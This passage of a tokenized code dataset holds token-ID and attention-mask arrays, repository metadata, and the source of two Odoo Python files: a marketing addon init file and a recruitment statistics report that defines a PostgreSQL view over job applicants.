32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Communities-Communications/cc-odoo
addons/marketing/__init__.py
378
1071
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-TODAY OpenERP SA (http://www.openerp.com) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import res_config # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 2566, 11655, 7653, 13950, 334, 1014, 921, 1544, 14, 11267, 14, 957, 9, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 522, 63, 888, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 2566, 11655, 7653, 13950, 334, 1014, 921, 1544, 14, 11267, 14, 957, 9, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 522, 63, 888, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
odooindia/odoo
addons/hr_recruitment/report/hr_recruitment_report.py
56
5161
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from openerp import tools from openerp.osv import fields, osv from .. import hr_recruitment from openerp.addons.decimal_precision import decimal_precision as dp class hr_recruitment_report(osv.Model): _name = "hr.recruitment.report" _description = "Recruitments Statistics" _auto = False _rec_name = 'date_create' _order = 'date_create desc' _columns = { 'user_id': fields.many2one('res.users', 'User', readonly=True), 'company_id': fields.many2one('res.company', 'Company', readonly=True), 'date_create': fields.datetime('Create Date', readonly=True), 'date_last_stage_update': fields.datetime('Last Stage Update', readonly=True), 'date_closed': fields.date('Closed', readonly=True), 'job_id': fields.many2one('hr.job', 'Applied Job',readonly=True), 'stage_id': fields.many2one ('hr.recruitment.stage', 'Stage'), 'type_id': fields.many2one('hr.recruitment.degree', 'Degree'), 'department_id': fields.many2one('hr.department','Department',readonly=True), 'priority': fields.selection(hr_recruitment.AVAILABLE_PRIORITIES, 'Appreciation'), 'salary_prop' : fields.float("Salary Proposed", digits_compute=dp.get_precision('Account')), 'salary_prop_avg' : fields.float("Avg. Proposed Salary", group_operator="avg", digits_compute=dp.get_precision('Account')), 'salary_exp' : fields.float("Salary Expected", digits_compute=dp.get_precision('Account')), 'salary_exp_avg' : fields.float("Avg. Expected Salary", group_operator="avg", digits_compute=dp.get_precision('Account')), 'partner_id': fields.many2one('res.partner', 'Partner',readonly=True), 'available': fields.float("Availability"), 'delay_close': fields.float('Avg. Delay to Close', digits=(16,2), readonly=True, group_operator="avg", help="Number of Days to close the project issue"), 'last_stage_id': fields.many2one ('hr.recruitment.stage', 'Last Stage'), } def init(self, cr): tools.drop_view_if_exists(cr, 'hr_recruitment_report') cr.execute(""" create or replace view hr_recruitment_report as ( select min(s.id) as id, s.create_date as date_create, date_trunc('day',s.date_closed) as date_closed, date_trunc('day',s.date_last_stage_update) as date_last_stage_update, to_char(s.create_date, 'YYYY') as year, to_char(s.create_date, 'MM') as month, to_char(s.create_date, 'YYYY-MM-DD') as day, s.partner_id, s.company_id, s.user_id, s.job_id, s.type_id, sum(s.availability) as available, s.department_id, s.priority, s.stage_id, s.last_stage_id, sum(salary_proposed) as salary_prop, (sum(salary_proposed)/count(*)) as salary_prop_avg, sum(salary_expected) as salary_exp, (sum(salary_expected)/count(*)) as salary_exp_avg, extract('epoch' from (s.write_date-s.create_date))/(3600*24) as delay_close, count(*) as nbr from hr_applicant s group by date_trunc('day',s.create_date), date_trunc('day',s.date_closed), s.date_open, s.create_date, s.write_date, s.date_closed, s.date_last_stage_update, s.partner_id, s.company_id, s.user_id, s.stage_id, s.last_stage_id, s.type_id, s.priority, s.job_id, s.department_id ) """) # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 5166, 492, 7249, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 199, 504, 2508, 492, 16140, 63, 264, 31365, 434, 199, 504, 5166, 14, 10788, 14, 6355, 63, 6833, 492, 6107, 63, 6833, 465, 12392, 421, 199, 533, 16140, 63, 264, 31365, 434, 63, 3070, 8, 4795, 14, 1685, 304, 272, 485, 354, 275, 298, 6271, 14, 264, 31365, 434, 14, 3070, 2, 272, 485, 1802, 275, 298, 497, 31365, 1470, 28365, 2, 272, 485, 2495, 275, 756, 272, 485, 2761, 63, 354, 275, 283, 602, 63, 981, 7, 272, 485, 1648, 275, 283, 602, 63, 981, 4328, 7, 339, 485, 3406, 275, 469, 267, 283, 751, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 470, 14, 3707, 297, 283, 1899, 297, 6863, 29, 549, 395, 267, 283, 4627, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 470, 14, 4627, 297, 283, 16063, 297, 6863, 29, 549, 395, 267, 283, 602, 63, 981, 356, 1504, 14, 2083, 360, 2499, 6148, 297, 6863, 29, 549, 395, 267, 283, 602, 63, 2019, 63, 8614, 63, 873, 356, 1504, 14, 2083, 360, 6090, 1933, 474, 6162, 297, 6863, 29, 549, 395, 267, 283, 602, 63, 5938, 356, 1504, 14, 602, 360, 15190, 297, 6863, 29, 549, 395, 267, 283, 2423, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 6271, 14, 2423, 297, 283, 2640, 1857, 15057, 297, 6753, 29, 549, 395, 267, 283, 8614, 63, 344, 356, 1504, 14, 3479, 18, 368, 661, 6271, 14, 264, 31365, 434, 14, 8614, 297, 283, 21052, 659, 267, 283, 466, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 6271, 14, 264, 31365, 434, 14, 10956, 297, 283, 26135, 850, 659, 267, 283, 19623, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 6271, 14, 19623, 1673, 872, 12493, 297, 6753, 29, 549, 395, 267, 283, 6693, 356, 1504, 14, 5592, 8, 6271, 63, 264, 31365, 434, 14, 17377, 63, 20076, 726, 19144, 12, 283, 13117, 29804, 659, 267, 283, 22025, 63, 4469, 7, 520, 1504, 14, 1609, 480, 27177, 695, 2165, 5824, 401, 7576, 63, 3357, 29, 5780, 14, 362, 63, 6833, 360, 6009, 3855, 267, 283, 22025, 63, 4469, 63, 8595, 7, 520, 1504, 14, 1609, 480, 16650, 14, 2165, 5824, 428, 279, 695, 401, 1572, 63, 3856, 628, 8595, 401, 7576, 63, 3357, 29, 5780, 14, 362, 63, 6833, 360, 6009, 3855, 267, 283, 22025, 63, 1474, 7, 520, 1504, 14, 1609, 480, 27177, 695, 13796, 401, 7576, 63, 3357, 29, 5780, 14, 362, 63, 6833, 360, 6009, 3855, 267, 283, 22025, 63, 1474, 63, 8595, 7, 520, 1504, 14, 1609, 480, 16650, 14, 13796, 428, 279, 695, 401, 1572, 63, 3856, 628, 8595, 401, 7576, 63, 3357, 29, 5780, 14, 362, 63, 6833, 360, 6009, 3855, 267, 283, 3899, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 470, 14, 3899, 297, 283, 24120, 297, 6753, 29, 549, 395, 267, 283, 4561, 356, 1504, 14, 1609, 480, 26462, 1288, 267, 283, 5814, 63, 1600, 356, 1504, 14, 1609, 360, 16650, 14, 18464, 1187, 370, 15524, 297, 7576, 2687, 975, 12, 18, 395, 6863, 29, 549, 12, 1572, 63, 3856, 628, 8595, 401, 4318, 1720, 628, 3259, 402, 577, 5758, 370, 4002, 314, 2199, 4976, 1288, 267, 283, 2019, 63, 8614, 63, 344, 356, 1504, 14, 3479, 18, 368, 661, 6271, 14, 264, 31365, 434, 14, 8614, 297, 283, 6090, 1933, 474, 659, 272, 789, 2286, 347, 4205, 8, 277, 12, 2467, 304, 267, 7249, 14, 4824, 63, 1345, 63, 692, 63, 2444, 8, 1556, 12, 283, 6271, 63, 264, 31365, 434, 63, 3070, 358, 267, 2467, 14, 2526, 4852, 288, 1218, 503, 3350, 2455, 16140, 63, 264, 31365, 434, 63, 3070, 465, 334, 326, 3504, 2151, 1748, 8, 83, 14, 344, 9, 465, 1305, 12, 2151, 308, 14, 981, 63, 602, 465, 1434, 63, 981, 12, 2151, 1434, 63, 